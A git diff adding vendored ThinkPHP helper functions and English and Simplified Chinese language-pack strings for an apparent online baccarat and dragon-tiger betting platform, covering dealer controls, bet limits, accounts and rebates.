is_null($default)) { + $default = ''; + } + } else { + $method = 'param'; + } + } else { + // 默认为自动判断 + $method = 'param'; + } + + return isset($has) ? + request()->has($key, $method) : + request()->$method($key, $default, $filter); + } +} + +if (!function_exists('invoke')) { + /** + * 调用反射实例化对象或者执行方法 支持依赖注入 + * @param mixed $call 类名或者callable + * @param array $args 参数 + * @return mixed + */ + function invoke($call, array $args = []) + { + if (is_callable($call)) { + return Container::getInstance()->invoke($call, $args); + } + + return Container::getInstance()->invokeClass($call, $args); + } +} + +if (!function_exists('json')) { + /** + * 获取\think\response\Json对象实例 + * @param mixed $data 返回的数据 + * @param int $code 状态码 + * @param array $header 头部 + * @param array $options 参数 + * @return \think\response\Json + */ + function json($data = [], $code = 200, $header = [], $options = []): Json + { + return Response::create($data, 'json', $code)->header($header)->options($options); + } +} + +if (!function_exists('jsonp')) { + /** + * 获取\think\response\Jsonp对象实例 + * @param mixed $data 返回的数据 + * @param int $code 状态码 + * @param array $header 头部 + * @param array $options 参数 + * @return \think\response\Jsonp + */ + function jsonp($data = [], $code = 200, $header = [], $options = []): Jsonp + { + return Response::create($data, 'jsonp', $code)->header($header)->options($options); + } +} + +if (!function_exists('lang')) { + /** + * 获取语言变量值 + * @param string $name 语言变量名 + * @param array $vars 动态变量值 + * @param string $lang 语言 + * @return mixed + */ + function lang(string $name, array $vars = [], string $lang = '') + { + return Lang::get($name, $vars, $lang); + } +} + +if (!function_exists('parse_name')) { + /** + * 字符串命名风格转换 + * type 0 将Java风格转换为C的风格 1 将C风格转换为Java的风格 + * @param string $name 字符串 + * @param int $type 转换类型 + * @param bool $ucfirst 首字母是否大写(驼峰规则) + * @return string + */ + function parse_name(string $name, int $type = 0, bool $ucfirst = true): string + { + if ($type) { + $name = preg_replace_callback('/_([a-zA-Z])/', function ($match) { + return strtoupper($match[1]); + }, $name); + + return $ucfirst ? ucfirst($name) : lcfirst($name); + } + + return strtolower(trim(preg_replace('/[A-Z]/', '_\\0', $name), '_')); + } +} + +if (!function_exists('redirect')) { + /** + * 获取\think\response\Redirect对象实例 + * @param string $url 重定向地址 + * @param int $code 状态码 + * @return \think\response\Redirect + */ + function redirect(string $url = '', int $code = 302): Redirect + { + return Response::create($url, 'redirect', $code); + } +} + +if (!function_exists('request')) { + /** + * 获取当前Request对象实例 + * @return Request + */ + function request(): \think\Request + { + return app('request'); + } +} + +if (!function_exists('response')) { + /** + * 创建普通 Response 对象实例 + * @param mixed $data 输出数据 + * @param int|string $code 状态码 + * @param array $header 头信息 + * @param string $type + * @return Response + */ + function response($data = '', $code = 200, $header = [], $type = 'html'): Response + { + return Response::create($data, $type, $code)->header($header); + } +} + +if (!function_exists('session')) { + /** + * Session管理 + * @param string $name session名称 + * @param mixed $value session值 + * @return mixed + */ + function session($name = '', $value = '') + { + if (is_null($name)) { + // 清除 + Session::clear(); + } elseif ('' === $name) { + return Session::all(); + } elseif (is_null($value)) { + // 删除 + Session::delete($name); + } elseif ('' === $value) { + // 判断或获取 + return 0 === strpos($name, '?') ? Session::has(substr($name, 1)) : Session::get($name); + } else { + // 设置 + Session::set($name, $value); + } + } +} + +if (!function_exists('token')) { + /** + * 获取Token令牌 + * @param string $name 令牌名称 + * @param mixed $type 令牌生成方法 + * @return string + */ + function token(string $name = '__token__', string $type = 'md5'): string + { + return Request::buildToken($name, $type); + } +} + +if (!function_exists('token_field')) { + /** + * 生成令牌隐藏表单 + * @param string $name 令牌名称 + * @param mixed $type 令牌生成方法 + * @return string + */ + function token_field(string $name = '__token__', string $type = 'md5'): string + { + $token = Request::buildToken($name, $type); + + return ''; + } +} + +if (!function_exists('token_meta')) { + /** + * 生成令牌meta + * @param string $name 令牌名称 + * @param mixed $type 令牌生成方法 + * @return string + */ + function token_meta(string $name = '__token__', string $type = 'md5'): string + { + $token = Request::buildToken($name, $type); + + return ''; + } +} + +if (!function_exists('trace')) { + /** + * 记录日志信息 + * @param mixed $log log信息 支持字符串和数组 + * @param string $level 日志级别 + * @return array|void + */ + function trace($log = '[think]', string $level = 'log') + { + if ('[think]' === $log) { + return Log::getLog(); + } + + Log::record($log, $level); + } +} + +if (!function_exists('url')) { + /** + * Url生成 + * @param string $url 路由地址 + * @param array $vars 变量 + * @param bool|string $suffix 生成的URL后缀 + * @param bool|string $domain 域名 + * @return UrlBuild + */ + function url(string $url = '', array $vars = [], $suffix = true, $domain = false): UrlBuild + { + return Route::buildUrl($url, $vars)->suffix($suffix)->domain($domain); + } +} + +if (!function_exists('validate')) { + /** + * 生成验证对象 + * @param string|array $validate 验证器类名或者验证规则数组 + * @param array $message 错误提示信息 + * @param bool $batch 是否批量验证 + * @param bool $failException 是否抛出异常 + * @return Validate + */ + function validate($validate = '', array $message = [], bool $batch = false, bool $failException = true): Validate + { + if (is_array($validate) || '' === $validate) { + $v = new Validate(); + if (is_array($validate)) { + $v->rule($validate); + } + } else { + if (strpos($validate, '.')) { + // 支持场景 + [$validate, $scene] = explode('.', $validate); + } + + $class = false !== strpos($validate, '\\') ? $validate : app()->parseClass('validate', $validate); + + $v = new $class(); + + if (!empty($scene)) { + $v->scene($scene); + } + } + + return $v->message($message)->batch($batch)->failException($failException); + } +} + +if (!function_exists('view')) { + /** + * 渲染模板输出 + * @param string $template 模板文件 + * @param array $vars 模板变量 + * @param int $code 状态码 + * @param callable $filter 内容过滤 + * @return \think\response\View + */ + function view(string $template = '', $vars = [], $code = 200, $filter = null): View + { + return Response::create($template, 'view', $code)->assign($vars)->filter($filter); + } +} + +if (!function_exists('display')) { + /** + * 渲染模板输出 + * @param string $content 渲染内容 + * @param array $vars 模板变量 + * @param int $code 状态码 + * @param callable $filter 内容过滤 + * @return \think\response\View + */ + function display(string $content, $vars = [], $code = 200, $filter = null): View + { + return Response::create($content, 'view', $code)->isContent(true)->assign($vars)->filter($filter); + } +} + +if (!function_exists('xml')) { + /** + * 获取\think\response\Xml对象实例 + * @param mixed $data 返回的数据 + * @param int $code 状态码 + * @param array $header 头部 + * @param array $options 参数 + * @return \think\response\Xml + */ + function xml($data = [], $code = 200, $header = [], $options = []): Xml + { + return Response::create($data, 'xml', $code)->header($header)->options($options); + } +} + +if (!function_exists('app_path')) { + /** + * 获取当前应用目录 + * + * @param string $path + * @return string + */ + function app_path($path = '') + { + return app()->getAppPath() . ($path ? $path . DIRECTORY_SEPARATOR : $path); + } +} + +if (!function_exists('base_path')) { + /** + * 获取应用基础目录 + * + * @param string $path + * @return string + */ + function base_path($path = '') + { + return app()->getBasePath() . ($path ? $path . DIRECTORY_SEPARATOR : $path); + } +} + +if (!function_exists('config_path')) { + /** + * 获取应用配置目录 + * + * @param string $path + * @return string + */ + function config_path($path = '') + { + return app()->getConfigPath() . ($path ? $path . DIRECTORY_SEPARATOR : $path); + } +} + +if (!function_exists('public_path')) { + /** + * 获取web根目录 + * + * @param string $path + * @return string + */ + function public_path($path = '') + { + return app()->getRootPath() . 'public' . DIRECTORY_SEPARATOR . ($path ? ltrim($path, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR : $path); + } +} + +if (!function_exists('runtime_path')) { + /** + * 获取应用运行时目录 + * + * @param string $path + * @return string + */ + function runtime_path($path = '') + { + return app()->getRuntimePath() . ($path ? $path . DIRECTORY_SEPARATOR : $path); + } +} + +if (!function_exists('root_path')) { + /** + * 获取项目根目录 + * + * @param string $path + * @return string + */ + function root_path($path = '') + { + return app()->getRootPath() . ($path ? $path . DIRECTORY_SEPARATOR : $path); + } +} diff --git a/vendor/topthink/framework/src/lang/en-us.php b/vendor/topthink/framework/src/lang/en-us.php new file mode 100644 index 0000000..65b63fa --- /dev/null +++ b/vendor/topthink/framework/src/lang/en-us.php @@ -0,0 +1,338 @@ + +// +---------------------------------------------------------------------- + +// 核心中文语言包 +return [ + // 操作端 和 swoole文件 英文语言包 + 'lang' => 'en-us', + 'table' => 'Table', + 'boot' => 'Boot', + 'number' => 'Coup', + 'now_time' => 'TIME', + 'login_fail' => 'Login error', + + 'banker' => 'B', + 'player' => 'P', + 'tie' => 'T', + 'banker_pair' => 'BP', + 'player_pair' => 'PP', + 'both_pair' => 'BPP', + 'pair' => 'PAIR', + 'dragon' => 'L', + 'tiger' => 'H', + 'win_6' => 'win6', + 'is_win_6' => 'is win6?', + 'yes' => 'Yes', + 'no' => 'No', + 'online_number' => 'Online number', + 'bet_amount' => 'Bet amount', + 'wait_for_opening' => 'End Bet. Opening...', + 'point' => '', + + 'next' => 'NEXT', + 'disclaimer' => 'Road sign information is for reference only.', + 'data_error' => 'Data error', + 'browser_error' => 'Your browser does not support WebSocket', + + 'start' => 'START', + 'end' => 'END', + 'start_bet' => 'START', + 'end_bet' => 'END', + 'opening' => 'SUBMIT', + 'shuffle' => 'Shuffle', + 'change_boot' => 'Boot', + 'close_boot' => 'BALANCE', + 'logout' => 'EXIT', + 'is_to_shuffle' => 'Confirm to shuffle?', + 'is_to_balance' => 'Confirm to balance?', + 'is_to_boot' => 'Confirm to boot?', + 'need_a_result' => 'Please select the result to be modified', + 'is_to_logout' => 'Confirm to logout ?', + + + 'edit_previous_result' => 'Modify previous result', + 'select_result' => 'Select a result', + 'select' => 'Select please', + 'monday' => 'Monday', + 'tuesday' => 'Tuesday', + 'wednesday' => 'Wednesday', + 'thursday' => 'Thursday', + 'friday' => 'Friday', + 'saturday' => 'Saturday', + 'sunday' => 'Sunday', + + 'user_not_exist' => 'User does not exist', + 'table_not_run' => 'This table is not in operation', + 'tableNotRun' => 'This table is not in operation', + 'bet_fail' => 'Bet failed, server connection failed', + 'no_right' => 'You have no right to operate', + + 'bet_status_1' => 'Betting...', + 'bet_status_0' => 'Deal Cards', + 'bet_status_2' => 'End Bet. Opening...', + + 'confirm' => 'Ok', + 'cancel' => 'Cancel', + 'connect_fail' => 'You have disconnected the link, please return to re-enter', + 'message' => 'Message', + + 'table_status_0' => 'Running', + 'table_status_1' => 'Shuffling cards', + 'table_status_2' => 'Table is off', + + 'link_server_fail' => 'Fail to connect to server', + 'link_server_fail_1' => 'Dealer off line', + 'link_server_fail_2' => 'Fail to connect to server 2', + 'link_server_fail_3' => 'Fail to connect to server 3', + + 'appid_error' => 'Appid error', + 'appsecret_error' => 'Appsecret error', + 'appid_or_appsecret_error' => 'Appid or appsecret error', + 'param_error' => 'Param error', + 'illegal_request' => 'Illegal request', + + 'balance_success' => 'Balance success', + 'balance_fail' => 'Balance failed', + 'balance_fail_1' => 'Balance failed 1', + 'balance_fail_2' => 'Balance failed 2', + 'table_status_error' => 'Please change the table status to "shuffle state" and then balance.', + + 'boot_settle_success' => 'Boot settlement success', + 'boot_settle_fail' => 'Boot settlement failed', + 'boot_settle_fail_1' => 'The boot settlement failed, the table has no boots, please balance', + 'boot_settle_fail_2' => 'The boot settlement failed, the table has been settled, please login again and continue', + 'boot_settle_fail_3' => 'The shop is not over yet. Please open the result before changing your boots.', + + 'start_bet_success' => 'Start bet success', + 'start_bet_fail' => 'Start bet failed', + 'start_bet_fail_1' => 'Start bet failed,the game has started betting or has stopped betting', + 'start_bet_fail_2' => 'Start bet failed,the game infomation is incorrect', + 'start_bet_fail_3' => 'The operation failed, please make sure the table is not in the state of shuffling or parking.', + + 'end_bet_success' => 'End bet success', + 'end_bet_fail' => 'End bet failed', + 'end_bet_fail_1' => 'End bet failed,the game has started betting or has stopped betting', + 'end_bet_fail_2' => 'End bet failed,game infomation is incorrect', + + 'to_bet_success' => 'Bet success', + 'to_bet_fail' => 'Bet failed', + 'to_bet_fail_1' => 'Bet failed,your money is not enough', + 'to_bet_fail_2' => 'Bet failed,member information error', + 'to_bet_fail_3' => 'Bet failed,the allowed bet time has been exceeded', + 'to_bet_fail_4' => 'Bet failed,the game is not in a state where you can bet', + 'to_bet_fail_5' => 'Bet failed,the game infomation is incorrect', + 'to_bet_fail_6' => 'Bet failed,the bet amount must be greater than 0', + 'to_bet_fail_7' => 'Unable to bet Lucky 6 after exceeding 50 innings', + 'to_bet_fail_8' => 'Unable to bet Big or Small after exceeding 30 innings', + + 'opening_success' => 'Opening result sucess', + 'opening_fail' => 'Opening result failed', + 'opening_fail_1' => 'Opening result failed,please confirm that the game is in a state of stopping betting', + 'opening_fail_2' => 'Opening result failed,the game infomation is incorrect', + 'opening_fail_3' => 'Opening result failed,please enter the opening result', + 'opening_fail_4' => 'Opening result failed,The bet is not over and the result cannot be opened', + 'opening_fail_5' => 'Opening result failed,the cards are not uniform', + 'opening_fail_6' => 'Opening result failed,card opening data does not exist', + + 'retreated_success' => 'Modified success', + 'retreated_fail' => 'Modified failed', + 'retreated_fail_1' => 'Modified failed,please select the result correctly', + 'retreated_fail_2' => 'Modified failed,no previous data can be changed', + 'retreated_fail_3' => 'Modified failed,boot information error', + 'retreated_fail_4' => 'Modified failed,round information error', + 'retreated_fail_5' => 'Modified failed,table information error', + 'retreated_fail_6' => 'Modified failed,game type error', + + + // PC投注页面 简体中文语言包 + 'welcome' => 'Welcome', + 'account' => 'Account', + 'money' => 'Money', + 'language' => 'Lang', + 'rule' => 'Rule', + 'record' => 'Record', + 'user' => 'User', + 'log_out' => 'Exit', + 'limit' => 'Limit', + + 'game' => 'Game', + 'baccarat' => 'Baccarat', + 'dt' => 'Dragon tiger', + 'start_date' => 'Start Date', + 'end_date' => 'End Date', + 'search' => 'Search', + 'ttf' => 'Tab/time/frm', + 'total' => 'Total', + 'card' => 'Card', + 'banker_all' => 'Banker', + 'player_all' => 'Player', + 'tie_all' => 'Tie', + 'banker_pair_all' => 'B.Pair', + 'player_pair_all' => 'P.Pair', + 'both_pair_all' => 'B.P.Pair', + 'banker_doub_all' => 'B.Multiple', + 'player_doub_all' => 'P.Multiple', + 'dragon_all' => 'Dragon', + 'tiger_all' => 'Tiger', + + 'full_screen' => 'Full Screen', + 'exit_full_screen' => 'Exit full screen', + 'back' => 'Back', + 'sound' => 'Sound', + 'statistics' => 'Statistics', + 'b_query' => 'B.Query', + 'p_query' => 'P.Query', + 'd_query' => 'D.Query', + 't_query' => 'T.Query', + 'line' => 'Line', + 'line_1' => 'Closer', + 'line_2' => 'Farer', + 'line_3' => 'line 3', + 'lobby' => 'Lobby', + 'video_line_error' => 'Video line error', + 'lose' => 'Lose', + 'win' => 'Win', + 'to_bet_confirm_tip' => 'Please bet and click OK', + 'browser_tip' => 'Please use the advanced browser of Google Chrome, 360, QQ, Baidu, Firefox, or IE10 or above to enter the game.', + 'select_chip_tip' => 'Please choose to bet chips', + 'recharge_tip' => 'Money not enouge,please recharge', + 'instant_pot' => 'Instant pot', + 'bet' => 'Bet', + 'settlement' => 'Settlement', + 'no_bet_data' => 'No bet data', + 'personal_limit_banker_high' => 'Person limit, Banker maximum bet amount is ', + 'personal_limit_banker_low' => 'Person limit, Banker minimum bet amount is ', + 'personal_limit_player_high' => 'Person limit, Player maximum bet amount is ', + 'personal_limit_player_low' => 'Person limit, Player minimum bet amount is ', + 'personal_limit_tie_high' => 'Person limit, Tie maximum bet amount is ', + 'personal_limit_tie_low' => 'Person limit, Tie minimum bet amount is ', + 'personal_limit_banker_pair_high' => 'Person limit, Banker Pair maximum bet amount is ', + 'personal_limit_banker_pair_low' => 'Person limit, Banker Pair minimum bet amount is ', + 'personal_limit_player_pair_high' => 'Person limit, Player Pair maximum bet amount is ', + 'personal_limit_player_pair_low' => 'Person limit, Player Pair minimum bet amount is ', + 'personal_limit_dragon_high' => 'Person limit, Dragon maximum bet amount is ', + 'personal_limit_dragon_low' => 'Person limit, Dragon minimum bet amount is ', + 'personal_limit_tiger_high' => 'Person limit, Tiger maximum bet amount is ', + 'personal_limit_tiger_low' => 'Person limit, Tiger minimum bet amount is ', + 'game_not_start' => 'The game has not started yet', + 'game_stop_bet' => 'This game has stopped betting', + 'leave_table_tip' => 'Confirm to leave ?', + 'select_chip_tip' => 'Please choose to bet chips', + + // wap电投和网投语言包 + 'coming_soon' => 'Coming soon', + 'game_room' => 'Game Room', + + 'edit_pass' => 'Edit pass', + 'change_password' => 'Change password', + 'phone' => 'Phone', + 'last_login_time' => 'Last login time', + 'recharge' => 'Recharge', + 'withdraw' => 'Withdraw', + 'bill' => 'Bill', + 'game_record' => 'Game record', + 'baccarat_total_bet_count' => 'Baccarat total bet count', + 'dt_total_bet_count' => 'Dragon tiger total bet count', + 'total_cleared_wash_code' => 'Total cleared wash code', + 'uncleared_total_wash_code' => 'Uncleared total wash code', + 'wash_rate' => 'Wash code', + + 'current_password' => 'Current password', + 'new_password' => 'New password', + 'confirm_password' => 'Confirm password', + 'current_password_tip' => 'Please input your current password', + 'new_password_tip' => 'New password can not be less than 6 characters', + 'confirm_password_tip' => 'Your confirm password is different from new password', + 'login_again' => 'Plesase login again', + 'login' => 'Login', + 'sign_in' => 'SIGN IN', + 'account_login' => 'Sign in', + 'register' => 'Register', + 'register_new_user' => 'Register', + 'register_password_length_tip' => 'Password can not be less than 6 characters', + 'register_account_length_tip' => 'Account can not be less than 6 characters', + 'register_account_exist_tip' => 'Account already exists', + 'password' => 'Password', + 'register_account_tip' => 'Composed of 6-20 English or numbers', + 'register_password_tip' => 'Composed of 6-20 English or numbers,except spaces', + 'register_confirm_password_tip' => 'Input password again', + 'register_success' => 'Registration Success', + 'register_fail' => 'Registration Failed', + + 'password_not_empty' => 'Current password or new password can not be empty', + 'change_password_success' => 'Change password success', + 'change_password_fail' => 'Change password fail', + 'current_password_error' => 'Current password error', + 'recharge_unsupport_tip' => 'Recharge is not open yet, please contact your agent', + 'withdraw_unsupport_tip' => 'Withdraw is not open yet, please contact your agent', + 'select_time' => 'Select time', + 'start_time_tip' => 'Please select start date', + 'end_time_tip' => 'Please select end date', + + 'wash_code_amount' => 'Wash code amount', + 'code_amount' => 'Code amount', + 'net_code_amount' => 'Net code amount', + 'wash_code_time' => 'Wash code time', + 'extraction_method' => 'Extraction method', + 'deposit_money' => 'deposit money', + 'setup' => 'Setup', + 'mute' => 'Mute', + 'voice' => 'Voice', + 'win_or_lose' => 'Win or lose', + 'account_tip' => 'Please input account', + 'password_tip' => 'Please input password', + 'read_and_agree' => 'I have read and agreed the', + 'rule_and_agreement' => 'game rules and user agreement', + 'account_or_password_error' => 'Incorrect username or password', + 'account_not_exist' => 'Account does not exist', + 'force_offline' => 'You have been forced offline by the administrator', + 'auto_back' => 'You have not been bet in 5 frame, return to the game hall automatically', + 'in_top_sumday' => 'The table in up-to-date.Please update tomorrow', + 'exceeds_limit' => 'Exceeds Limit', + 'exceeds_limit_table' => 'Exceeds Limit Of Table', + 'under_limit_table' => 'Under Limit Of Table', + 'exceeds_limit_user' => 'Exceeds Limit Of User', + 'under_limit_user' => 'Under Limit Of User', + 'end_bet_error' => 'Stop Success', + 'end_bet_error_1' => 'Stop Error', + 'end_bet_error_2' => 'Stop Error', + 'repeated_entry' => 'Your account has landed elsewhere', + + 'online_entrance' => 'Telephone Betting', + 'onlinechip_entrance' => 'Online Betting', + 'agent_entrance' => 'Agent System', + 'login_entrance' => 'Login Entrance', + 'change_boot_false' => 'There are bets at the moment,cannot change boot', + 'win_limit_tip' => 'Reach the daily win limit, can not bet', + + + 'cancel_number' => 'Cancel', + 'is_cancel_number' => 'Confirm to cancel?', + 'cancel_number_success' => 'Cancel success', + 'cancel_number_fail_1' => 'Cancel fail, the table has no boots, please balance', + 'cancel_number_fail_2' => 'Cancel fail, the table has been settled, please login again and continue', + 'reset_number_fail_3' => 'Cancel fail,bet status does not match', + 'reset_number_msg' => 'The number has been reset, please bet again', + + 'reset_number' => 'Cancel', + 'is_reset_number' => 'Confirm to cancel?', + 'reset_number_success' => 'Done', + 'reset_number_fail_1' => 'Fail! The table has already reset.', + 'reset_number_fail_2' => 'Fail! The table has been settled, please logout & login again.', + 'reset_number_fail_3' => 'Fail! Bet status does not match', + 'reset_number_msg' => 'The number has been reset, please bet again.', + + 'confirm_to_change_card' => 'Confirm to change the card ?', + + 'restart_sb' => 'RESTART AI', + 'stop_sb' => 'STOP AI', + +]; \ No newline at end of file diff --git a/vendor/topthink/framework/src/lang/zh-cn.php b/vendor/topthink/framework/src/lang/zh-cn.php new file mode 100644 index 0000000..a8d3b08 --- /dev/null +++ b/vendor/topthink/framework/src/lang/zh-cn.php @@ -0,0 +1,468 @@ + +// +---------------------------------------------------------------------- + +// 核心中文语言包 +return [ + // 操作端 和 swoole文件 简体中文语言包 + 'lang' => 'zh-cn', + 'table' => '桌台', + 'boot' => '靴数', + 'number' => '局数', + 'now_time' => '当前时间', + 'login_fail' => '登录失败', + + 'banker' => '庄', + 'player' => '闲', + 'tie' => '和', + 'banker_pair' => '庄对', + 'player_pair' => '闲对', + 'both_pair' => '庄闲对', + 'pair' => '对子', + 'dragon' => '龙', + 'tiger' => '虎', + 'win_6' => '赢6', + 'is_win_6' => '是否赢6', + 'yes' => '是', + 'no' => '否', + 'online_number' => '在线人数', + 'bet_amount' => '本局下注金额', + 'wait_For_Opening' => '停止下注-等待开盘', + 'point' => '点', + + 'next' => '下一局', + 'disclaimer' => '路牌资料仅供参考,如有错漏。本公司概不负责', + 'data_error' => '数据错误', + 'browser_error' => '您的浏览器不支持WebSocket', + + 'start' => '开始', + 'end' => '结束', + 'start_bet' => '接收下注', + 'end_bet' => '结束下注', + 'opening' => '提交结果', + 'shuffle' => '开始洗牌', + 'change_boot' => '换靴', + 'close_Boot' => '日结算', + 'logout' => '退出', + 'is_to_shuffle' => '是否需要将桌子的状态设置为"洗牌中"?', + 'is_to_balance' => '是否需要进行日结算?', + 'is_to_boot' => '是否需要进行换靴?', + 'need_a_result' => '请选择要修改的结果', + 'is_to_logout' => '是否退出登录?', + + 'edit_previous_result' => '修改上一局结果', + 'select_result' => '选择结果', + 'select' => '请选择', + 'monday' => '星期一', + 'tuesday' => '星期二', + 'wednesday' => '星期三', + 'thursday' => '星期四', + 'friday' => '星期五', + 'saturday' => '星期六', + 'sunday' => '星期日', + + 'user_not_exist' => '用户不存在', + 'table_not_run' => '该桌子暂时没有营运', + 'tableNotRun' => '该桌子暂时没有营运', + 'bet_fail' => '下注失败,服务器链接失败', + 'no_right' => '你无权操作', + + 'bet_status_1' => '接受下注', + 'bet_status_0' => '尚未接受下注', + 'bet_status_2' => '停止下注-等待开盘', + + 'confirm' => '确定', + 'cancel' => '取消', + 'connect_fail' => '您已断开链接,请返回重新进入', + 'message' => '信息', + + 'table_status_0' => '桌子运营中', + 'table_status_1' => '洗牌中', + 'table_status_2' => '停台中', + + 'link_server_fail' => '与服务通讯失败', + 'link_server_fail_1' => '荷官不在线', + 'link_server_fail_2' => '与服务通讯失败2', + 'link_server_fail_3' => '与服务通讯失败3', + + 'appid_error' => 'appid 错误', + 'appsecret_error' => 'appsecret 错误', + 'appid_or_appsecret_error' => 'appid或appsecret 错误', + 'param_error' => '参数错误', + 'illegal_request' => '非法请求', + + 'balance_success' => '日结算成功', + 'balance_fail' => '日结算失败', + 'balance_fail_1' => '日结算失败1', + 'balance_fail_2' => '日结算失败2', + 'table_status_error' => '请把桌子更改为"洗牌状态"再进行日结算', + + 'boot_settle_success' => '靴结算成功', + 'boot_settle_fail' => '靴结算失败', + 'boot_settle_fail_1' => '换靴失败,该桌子还没有靴,请进行日结', + 'boot_settle_fail_2' => '换靴失败,该桌子已经结算,请重新登录再继续', + 'boot_settle_fail_3' => '该铺尚未结束,请开出结果后再换靴', + + 'start_bet_success' => '开始下注成功', + 'start_bet_fail' => '开始下注失败', + 'start_bet_fail_1' => '开始下注失败,下注铺已经开始下注或者已经停止了下注', + 'start_bet_fail_2' => '开始下注失败,下注铺信息有误', + 'start_bet_fail_3' => '操作失败,请确保桌子不是在洗牌中或者停台中状态', + + 'end_bet_success' => '结束下注成功', + 'end_bet_fail' => '结束下注失败', + 'end_bet_fail_1' => '停止下注失败,该铺还没开始接受下注或者已经停止了下注', + 'end_bet_fail_2' => '开始下注失败,下注铺信息有误', + + 'to_bet_success' => '下注成功', + 'to_bet_fail' => '下注失败', + 'to_bet_fail_1' => '余额不足,不能下注', + 'to_bet_fail_2' => '会员信息错误,不能下注', + 'to_bet_fail_3' => '已超过允许的下注时间,不能下注', + 'to_bet_fail_4' => '该局不是在可以下注的状态,不能下注', + 'to_bet_fail_5' => '下注失败,下注铺信息有误', + 'to_bet_fail_6' => '下注金额必须大于0', + 'to_bet_fail_7' => '超过50局后无法下注幸运6', + 'to_bet_fail_8' => '超过30局后无法下注大小', + + 'opening_success' => '开盘结果成功', + 'opening_fail' => '开盘结果失败', + 'opening_fail_1' => '开结果失败,请确认该局是处于停止下注的状态', + 'opening_fail_2' => '开盘失败,开盘铺信息有误', + 'opening_fail_3' => '请输入开盘结果', + 'opening_fail_4' => '下注未结束,无法开结果', + 'opening_fail_5' => '开盘失败,庄闲牌面不齐', + 'opening_fail_6' => '开牌数据不存在', + + 'retreated_success' => '修改成功', + 'retreated_fail' => '修改失败', + 'retreated_fail_1' => '请正确选择结果', + 'retreated_fail_2' => '没有上一铺数据可更改', + 'retreated_fail_3' => '靴信息错误', + 'retreated_fail_4' => '回合信息错误', + 'retreated_fail_5' => '桌子信息错误', + 'retreated_fail_6' => '游戏类型错误', + + + // PC投注页面 简体中文语言包 + 'welcome' => '欢迎您', + 'account' => '账号', + 'money' => '余额', + 'language' => '语言', + 'rule' => '规则', + 'record' => '记录', + 'user' => '个人中心', + 'log_out' => '退出游戏', + 'limit' => '限红', + + 'game' => '游戏', + 'baccarat' => '百家乐', + 'dt' => '龙虎', + 'start_date' => '开始日期', + 'end_date' => '结束日期', + 'search' => '查询', + 'ttf' => '桌台/时间/局号', + 'total' => '合计', + 'card' => '牌', + 'banker_all' => '庄', + 'player_all' => '闲', + 'tie_all' => '和', + 'banker_pair_all' => '庄对', + 'player_pair_all' => '闲对', + 'both_pair_all' => '庄闲对', + 'banker_doub_all' => '庄翻倍', + 'player_doub_all' => '闲翻倍', + 'dragon_all' => '龙', + 'tiger_all' => '虎', + + + 'full_screen' => '全屏', + 'exit_full_screen' => '退出全屏', + 'back' => '返回', + 'sound' => '声音', + 'statistics' => '统计', + 'b_query' => '庄问路', + 'p_query' => '闲问路', + 'd_query' => '龙问路', + 't_query' => '虎问路', + 'line' => '线路', + 'line_1' => '近景', + 'line_2' => '远景', + 'line_3' => '线路三', + 'lobby' => '大厅', + + 'video_line_error' => '视频线路错误', + 'lose' => '输', + 'win' => '赢', + 'to_bet_confirm_tip' => '请下注后再点击确定', + 'browser_tip' => '请使用谷歌、360、QQ、百度、火狐、或者IE10以上版本的高级浏览器进入游戏', + 'select_chip_tip' => '请选择下注筹码', + 'recharge_tip' => '余额不足,请充值', + 'instant_pot' => '即时彩池', + 'bet' => '下注', + 'settlement' => '结算结果', + 'no_bet_data' => '没有下注数据', + 'personal_limit_banker_high' => '个人限红:庄最高下注额为', + 'personal_limit_banker_low' => '个人限红:庄最低下注额为', + 'personal_limit_player_high' => '个人限红:闲最高下注额为', + 'personal_limit_player_low' => '个人限红:闲最低下注额为', + 'personal_limit_tie_high' => '个人限红:和最高下注额为', + 'personal_limit_tie_low' => '个人限红:和最低下注额为', + 'personal_limit_banker_pair_high' => '个人限红:庄对最高下注额为', + 'personal_limit_banker_pair_low' => '个人限红:庄对最低下注额为', + 'personal_limit_player_pair_high' => '个人限红:闲对最高下注额为', + 'personal_limit_player_pair_low' => '个人限红:闲对最低下注额为', + 'personal_limit_dragon_high' => '个人限红:龙最高下注额为', + 'personal_limit_dragon_low' => '个人限红:龙最低下注额为', + 'personal_limit_tiger_high' => '个人限红:虎最高下注额为', + 'personal_limit_tiger_low' => '个人限红:虎最低下注额为', + 'game_not_start' => '游戏尚未开始', + 'game_stop_bet' => '本局游戏已停止下注', + 'leave_table_tip' => '确定要离开当前游戏台吗?', + 'select_chip_tip' => '请选择下注筹码', + + + // wap电投和网投语言包 + 'coming_soon' => '即将推出', + 'game_room' => '游戏大厅', + + 'edit_pass' => '修改密码', + 'change_password' => '修改密码', + 'phone' => '联系电话', + 'last_login_time' => '上次登陆时间', + 'recharge' => '充值上分', + 'withdraw' => '申请下分', + 'bill' => '账单', + 'game_record' => '游戏记录', + 'baccarat_total_bet_count' => '百家乐总下注次数', + 'dt_total_bet_count' => '龙虎总下注次数', + 'total_cleared_wash_code' => '已结算洗码总额', + 'uncleared_total_wash_code' => '未结算洗码总额', + 'wash_rate' => '洗码率', + + 'current_password' => '请输入旧密码', + 'new_password' => '请输入新密码', + 'confirm_password' => '再次输入新密码', + 'current_password_tip' => '请输入旧密码', + 'new_password_tip' => '新密码不能小于6个字符', + 'confirm_password_tip' => '两次输入的密码不一致', + 'login_again' => '请重新登录', + 'login' => '登录', + 'sign_in' => '登录', + 'account_login' => '已有账户登录', + 'register' => '注册', + 'register_new_user' => '新用户注册', + 'password' => '密码', + 'register_password_length_tip' => '密码不能小于6个字符', + 'register_account_length_tip' => '账号不能小于6个字符', + 'register_account_exist_tip' => '账号已存在', + 'register_account_tip' => '6-20位英文.数字组成', + 'register_password_tip' => '6-20位字符.不包含空格', + 'register_confirm_password_tip' => '再输入一遍登录密码', + 'register_success' => '注册成功', + 'register_fail' => '注册失败', + + 'password_not_empty' => '旧密码或新密码不能为空', + 'change_password_success' => '修改密码成功', + 'change_password_fail' => '修改密码失败', + 'current_password_error' => '旧密码错误', + 'recharge_unsupport_tip' => '上分暂时未开启,请联系您的代理上分', + 'withdraw_unsupport_tip' => '下分暂时未开启,请联系您的代理下分', + 'select_time' => '选择时间', + 'start_time_tip' => '请选择开始时间', + 'end_time_tip' => '请选择结束时间', + + 'wash_code_amount' => '洗码量', + 'code_amount' => '码量', + 'net_code_amount' => '净码量', + 'wash_code_time' => '洗码时间', + 'extraction_method' => '提取方式', + 'deposit_money' => '存入余额', + 'setup' => '设置', + 'mute' => '静音', + 'voice' => '开声', + 'win_or_lose' => '输赢', 